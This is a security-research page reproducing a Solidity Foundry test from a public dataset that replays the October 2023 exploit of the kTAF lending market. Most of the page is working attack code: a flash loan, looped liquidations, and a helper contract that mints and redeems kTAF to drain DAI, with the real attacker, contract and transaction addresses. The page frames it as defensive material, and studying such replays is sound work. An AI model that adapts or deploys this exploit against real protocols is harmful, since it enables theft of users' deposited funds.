Skip to content
THREATWIRE

Public reproduction file

src/test/2023-10/kTAF_exp.sol

Public reproduction file for dataset entry kTAF.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-10/kTAF_exp.sol145 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$8K
8// Attacker : https://etherscan.io/address/0x9b99d7ce9e39c68ab93348fd31fd4c99f79e4b19
9// Attack Contract : https://etherscan.io/address/0xa6d35c97bd00b99a962393408aaa9eb275a45c5e
10// Vuln Contract : https://etherscan.io/address/0xf5140fc35c6f94d02d7466f793feb0216082d7e5
11// Attack Tx : https://etherscan.io/tx/0x325999373f1aae98db2d89662ff1afbe0c842736f7564d16a7b52bf5c777d3a4
13// @Analysis
14// https://defimon.xyz/attack/mainnet/0x325999373f1aae98db2d89662ff1afbe0c842736f7564d16a7b52bf5c777d3a4
16interface ICErc20Immutable {
17 function borrow(
18 uint256 borrowAmount
19 ) external returns (uint256);
21 function borrowBalanceStored(
22 address account
23 ) external view returns (uint256);
25 function liquidateBorrow(
26 address borrower,
27 uint256 repayAmount,
28 address cTokenCollateral
29 ) external returns (uint256);
32interface IComptroller {
33 function liquidateCalculateSeizeTokens(
34 address cTokenBorrowed,
35 address cTokenCollateral,
36 uint256 actualRepayAmount
37 ) external view returns (uint256, uint256);
39 function enterMarkets(
40 address[] memory cTokens
41 ) external returns (uint256[] memory);
44contract ContractTest is Test {
45 IBalancerVault private constant Vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
46 IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
47 IERC20 private constant TAF = IERC20(0xf573E6740045b5387F6d36a26B102C2adF639af5);
48 ICErc20Delegate private constant kTAF = ICErc20Delegate(payable(0xf5140fC35C6f94D02d7466f793fEB0216082d7E5));
49 ICErc20Immutable private constant kDAI = ICErc20Immutable(0xE5C6c14F466A4F3A73eCEc7F3aAaA15c5EcBc769);
50 IComptroller private constant Unitroller = IComptroller(0x959Fb43EF08F415da0AeA39BEEf92D96f41E41b3);
51 address private constant borrower = 0x3cF7e9d9dCfeD77f295CF7A7F5539eC407D9a67d;
53 function setUp() public {
54 vm.createSelectFork("mainnet", 18_385_885);
55 vm.label(address(Vault), "Vault");
56 vm.label(address(DAI), "DAI");
57 vm.label(address(kTAF), "kTAF");
58 vm.label(address(kDAI), "kDAI");
59 vm.label(address(Unitroller), "Unitroller");
60 vm.label(borrower, "borrower");
61 }
63 function testExploit() public {
64 emit log_named_decimal_uint("Attacker DAI balance before exploit", DAI.balanceOf(address(this)), DAI.decimals());
66 emit log_named_decimal_uint("Attacker TAF balance before exploit", TAF.balanceOf(address(this)), TAF.decimals());
68 address[] memory tokens = new address[](1);
69 tokens[0] = address(DAI);
70 uint256[] memory amounts = new uint256[](1);
71 amounts[0] = 4000 * 1e18;
72 Vault.flashLoan(address(this), tokens, amounts, bytes(""));
74 emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());
76 emit log_named_decimal_uint("Attacker TAF balance after exploit", TAF.balanceOf(address(this)), TAF.decimals());
77 }
79 function receiveFlashLoan(
80 address[] calldata tokens,
81 uint256[] calldata amounts,
82 uint256[] calldata feeAmounts,
83 bytes calldata userData
84 ) external {
85 DAI.approve(address(kDAI), type(uint256).max);
87 while (true) {
88 uint256 repayAmount = kDAI.borrowBalanceStored(borrower) / 10;
89 (, uint256 numCtokenCollateral) =
90 Unitroller.liquidateCalculateSeizeTokens(address(kDAI), address(kTAF), repayAmount);
92 if (numCtokenCollateral <= kTAF.balanceOf(borrower)) {
93 kDAI.liquidateBorrow(borrower, repayAmount, address(kTAF));
94 } else {
95 repayAmount =
96 ((kDAI.borrowBalanceStored(borrower) / 10) * kTAF.balanceOf(borrower)) / numCtokenCollateral;
97 kDAI.liquidateBorrow(borrower, repayAmount, address(kTAF));
99 while (DAI.balanceOf(address(kDAI)) > 1) {
100 kTAF.redeem(kTAF.balanceOf(address(this)));
101 ExploitHelper helper = new ExploitHelper();
102 TAF.transfer(address(helper), TAF.balanceOf(address(this)));
104 helper.start();
105 kDAI.liquidateBorrow(address(helper), 1, address(kTAF));
106 kTAF.redeem(1);
107 }
108 DAI.transfer(address(Vault), amounts[0]);
109 break;
110 }
111 }
112 }
115contract ExploitHelper {
116 ICErc20Immutable private constant kDAI = ICErc20Immutable(0xE5C6c14F466A4F3A73eCEc7F3aAaA15c5EcBc769);
117 ICErc20Delegate private constant kTAF = ICErc20Delegate(payable(0xf5140fC35C6f94D02d7466f793fEB0216082d7E5));
118 IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
119 IERC20 private constant TAF = IERC20(0xf573E6740045b5387F6d36a26B102C2adF639af5);
120 IComptroller private constant Unitroller = IComptroller(0x959Fb43EF08F415da0AeA39BEEf92D96f41E41b3);
122 function start() external {
123 address[] memory cTokens = new address[](1);
124 cTokens[0] = address(kTAF);
125 Unitroller.enterMarkets(cTokens);
127 TAF.transfer(address(kTAF), 1);
128 TAF.approve(address(kTAF), type(uint256).max);
129 uint256 amountTAF = TAF.balanceOf(address(this));
130 kTAF.mint(TAF.balanceOf(address(this)));
131 kTAF.redeem(kTAF.balanceOf(address(this)) - 2);
132 TAF.transfer(address(kTAF), TAF.balanceOf(address(this)));
134 uint256 amountDAI = DAI.balanceOf(address(kDAI));
135 if (amountDAI > 1320 * 1e18) {
136 amountDAI = 1320 * 1e18;
137 }
138 kDAI.borrow(amountDAI);
140 kTAF.redeemUnderlying(amountTAF);
142 DAI.transfer(msg.sender, amountDAI);
143 TAF.transfer(msg.sender, amountTAF);
144 }

Analysis

Dataset entry

Public Foundry test for “kTAF” (2023-10-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x9b99d7ce9e39c68ab93348fd31fd4c99f79e4b19

  • Attack Contract

    0xa6d35c97bd00b99a962393408aaa9eb275a45c5e

  • Attack Tx

    0x325999373f1aae98db2d89662ff1afbe0c842736f7564d16a7b52bf5c777d3a4

File record

Name
kTAF
Path
src/test/2023-10/kTAF_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
377d353f40365e8d639bd522d8f00b25056e1590
Language
Solidity
Size
146 lines
Date
2023-10-19
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-10/kTAF_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 377d353f40365e8d639bd522d8f00b25056e1590, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.